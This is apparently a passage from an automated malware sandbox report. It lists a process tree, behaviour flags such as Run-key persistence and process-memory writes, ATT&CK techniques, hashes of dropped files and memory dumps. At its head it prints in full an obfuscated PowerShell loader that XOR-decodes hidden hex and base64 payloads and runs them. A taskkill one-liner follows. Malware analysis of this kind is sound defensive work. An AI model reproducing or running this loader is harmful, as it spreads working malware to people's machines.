  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=54-19;$oXeJ6283='2Fg7qWT9I';$qTGFjZRU='fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b';$gEkvtBuFo='FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw=';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, '$vFrDb0RYW', ''));$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'') $sw97iJcE"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wwyafr4l\wwyafr4l.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FEF.tmp" "c:\Users\Admin\AppData\Local\Temp\wwyafr4l\CSC2E702EE2FBDE477F8D90314FA69BCA29.TMP"
      4⤵
      PID:2336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5200
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5492
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1112
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
MD5 9db254dd0cf5e2b1153ff5cde0ed8885
SHA1 de97945a57babdd2498693fbb2b3d8bc548da209
SHA512 a86e71b1b09215d626067d2fab0d7111a5718937c4097b826e77402d32aa3bf64d73a8886104f7b0ae434dcafb9abab4d04d2c053cb65510d611c069d04f7011
TLSH
T19A115733B3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F59ADE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
MD5 959e1b4918203c51928cb5a717a9dbf3
SHA1 bec8d10e1a38546b4c57fd1b30c624a7dc9a55ca
SHA512 ae841fca8446900c2bb270869687dbd9d0a0082540fd221e145d345d4cf547c4b01bd3aefc4a091577c9966d52d3ba15e72f9518124172e390e655acc761e93c
TLSH
T1E3213633B3DC8615D889407A50CEAC1436B697DB809E8E5BBB84D648B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a18ef605aba2b054d29e115b365f87a7814c6d5c021b6c6e3ef3a39a4e7c1e44
MD5 81a2e32362cc558889896c52e193448c
SHA1 657572dc25ae62be8cef24e880a627e94bf52297
SHA512 af66879f9a2a9157241bf3c7cc89c51709425585499f1ff7b13ddaa8f6de79a0d359f08223261b1b22d44322e647383e20522565c01c1dacf5958858e8f9bff1
TLSH
T1D9214533F3DC8655D889407A50CEEC0432B697EB80DECE9BAB84D618B03F599CEA0560
MD5 SHA1 SHA512 TLSH

Submit Download

3e956bc1-b2b9-49cc-8070-739165e871c8.bat

Path C:\Users\Admin\AppData\Local\Temp\3e956bc1-b2b9-49cc-8070-739165e871c8.bat
Size 21KB
SHA256 d81b0bb9ad5d8e73d910480bd341861585116773eb3ff20ffd34724b50382533
MD5 a41a151194b132cdf9cbe24f1db49b2e
SHA1 84ebdb60a3ecf8e4adbb68cb8f79fdc6ee074d3c
SHA512 bac8e62f74517554aa6fc9e2c2cf4b56404545922e6442fef26512617f4ff3a41059f762828c808e1f4fa0011c39ca7bb12d9fbd97ec8e6964fbb3493b7b46b1
SSDEEP 384:KUWe96abbqjABXblnpIi3UWe96abbqjABXblnpIi3w:l3qjABXble13qjABXblef
TLSH
T1A8A208F1F087B484626247DA38A2F4D2B75BE9175E5F8D44B5AC4A440FB03A8B3DACD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES29F4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES29F4.tmp
Size 1KB
SHA256 8b0a39db2a99c3b5bd680b0a6fef3791feeb372971c4d24704300f57f2e97b2d
MD5 23e3959f962799171ebed67ca8ca4877
SHA1 ec125aecac6f20afb98795ab498640f6eb786c2a
SHA512 7f8e815d00c43243fa97888af476556c13ab1e57fea058aa1458aefea1dbd009761130afac5cdf8c5707d525feb43865ea0d44653d4788502bb69e04e6ef9c8d
TLSH
T19C21CC0583E94B0EF0B357326EF6176FA235FC64EFA2935A944042282C41644EEE0F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES9FEF.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9FEF.tmp
Size 1KB
SHA256 cff13836b3281bc26de9fde5fbc201ba82159a2a9936274a02e75b05a8e20510
MD5 56df55730d263cf69f557f94d16f427c
SHA1 b078f1a32003ab3d917bc0f12ee7309de6354fc9
SHA512 df5a92e51e34666b65053c53a5afcdd8f74e8229b0fd877ae09ce703ce270659bbe9900b9d8997d810c28e713bd5a61c72b4082ef4e88e23a7f4071a6e2a68fc
TLSH
T18F21AB0653F8471FF0B35732ADFA176B9665FDA4EFA193AA8440032D2C21504EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ux5o3ixm.ktp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ux5o3ixm.ktp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

kmcldxbl.dll

Path C:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.dll
Size 3KB
SHA256 f951a0380975a1c52ff67fa9016129a004b1cd23d0df1d04890b2a804e5b1694
MD5 d1a700d343efdb7141c1bdeba9494f64
SHA1 a13aa005e9d65a20570eb74126c75c78f5734fd8
SHA512 9c2e2f4b7d065c0102aaeb6a19584df6654604a5b7baef3d8a353637a32b32df637d014b17b9f3384f3e814636cff43bade91fb28812790dda066564d31253b1
TLSH
T1F451D11A97E8472BE86707317EE343572774F920AB62575E4880426CAC613A45E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

wwyafr4l.dll

Path C:\Users\Admin\AppData\Local\Temp\wwyafr4l\wwyafr4l.dll
Size 3KB
SHA256 b11d646d74de15ca34ac98a149f5a5734c6c3cfb10c0f40a845f8640baa1b27c
MD5 3068654c9090f8a6abfc45a927625379
SHA1 a56e9af10ac9680faee2ffcdceba114945f26d83
SHA512 e323a6801efc1c879a3c95a4e283c2e1efb4e40f276b6a18c113dc0b280e1f91c269464cc80a4dd5610e5052cacd7aeb3935156f5774716f261eb461dd8634ca
TLSH
T18F51A90A57E8466BE4B70B357EE783572774F920AB62935E49800228AC613645E32EB6
MD5 SHA1 SHA512 TLSH

Submit Download

CSC996CDBF0F30540B289C9CF6370D5A290.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kmcldxbl\CSC996CDBF0F30540B289C9CF6370D5A290.TMP
Size 652B
SHA256 c423a051df923d6fd6ee722240733f72e8a039110484e2c20ef6fd5bc90110ec
MD5 70e92e4cdad5457df3427eeaaed60be5
SHA1 e83351dff9d52c00c27a0fb5494977fa0a9e5ac5
SHA512 f2774fcae8afc0932cfb830e4655dffcdd80ea79166d3c260afd6b01b35bda5720a181b7180e41935a62e60a3018fcedf2b29e1a4d4be19eb26d035c827c7474
TLSH
T1B8F05E0963F8030EF4F35B31BEF643A395A9BC65EE3293ED548003192C64A109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

kmcldxbl.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

kmcldxbl.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.cmdline
Size 369B
SHA256 3a9329b8d4c8763420a87cdc664d1ff8c5afd842f2999985fca6039a8f9bbd62
MD5 fdcba8259c51bcea51f00af164186612
SHA1 388c165bcf580950efdbd730f14b5fa8f53ef7ed
SHA512 8d73fc1980b4a69b2eae3b8a28509a48f6fe6528ca659192a24957fdb1ea2e4d15482a27048ab276864dc860bea300eb21775c1de260bc0050426125475f1231
TLSH
T1E2E0C0AAC3C6C37D61DD100F2569C8ACC6721B4329413F84D0C5448DD01710027D1755
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2E702EE2FBDE477F8D90314FA69BCA29.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\wwyafr4l\CSC2E702EE2FBDE477F8D90314FA69BCA29.TMP
Size 652B
SHA256 9dd04c2076b7f70e2c5e83255eb757fb9d32bddcb8e9da25bc1ed8982a4b1492
MD5 920eb5401d8962956c9f935d56d3d50b
SHA1 b1e618b6b46ea922b307bed1bb8ac834c0fdd06d
SHA512 3245fe3a3f1d91a398c36600314f83db1012b338e55cd4e96e8a3c70efa8c395ebaf5bf0d2a457c4297f162295267dca531445dcb36b8f05661bbe3a1ec8921c
TLSH
T19FF05E0A63F8030EF0F34B30BEF653A791A9BC64DE7293ED1440031968645148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

wwyafr4l.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\wwyafr4l\wwyafr4l.cmdline
Size 369B
SHA256 7674c5ca1ecd3003e124f79f1333ea239f073ab82d00cf6b1f670c1737ed0e36
MD5 5b768b83369cf78b3d7304d3268ac361
SHA1 c3423430c50662b86afcea86f862e5eaa6e2cd5e
SHA512 3e345a1ea43b383cfd93cd9144ed3a73a73ae09a83092d7bc6aea44e38a87833b37dd729b9059603ab010f53a9a028d92786a1fa7cc7eac63a1f1c900854d422
TLSH
T1F3E0C62A8387C2FD71EF300B277AC4ECC672678329803F8C9040880DE2670062BD27A3
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1492-56-0x0000026271D20000-0x0000026271D28000-memory.dmp

Download

memory/2080-0-0x0000000000B40000-0x0000000000B5E000-memory.dmp

Download

memory/2080-17-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2080-1-0x00007FF8998AF000-0x00007FF8998B0000-memory.dmp

Download

memory/2080-3-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/3788-10-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/3788-9-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/3788-11-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/3788-8-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/3788-5-0x000002600C410000-0x000002600C432000-memory.dmp

Download

memory/3788-13-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/6124-32-0x0000026AF9D00000-0x0000026AF9D16000-memory.dmp

Download

memory/6124-30-0x0000026AFA0C0000-0x0000026AFA0C8000-memory.dmp

Download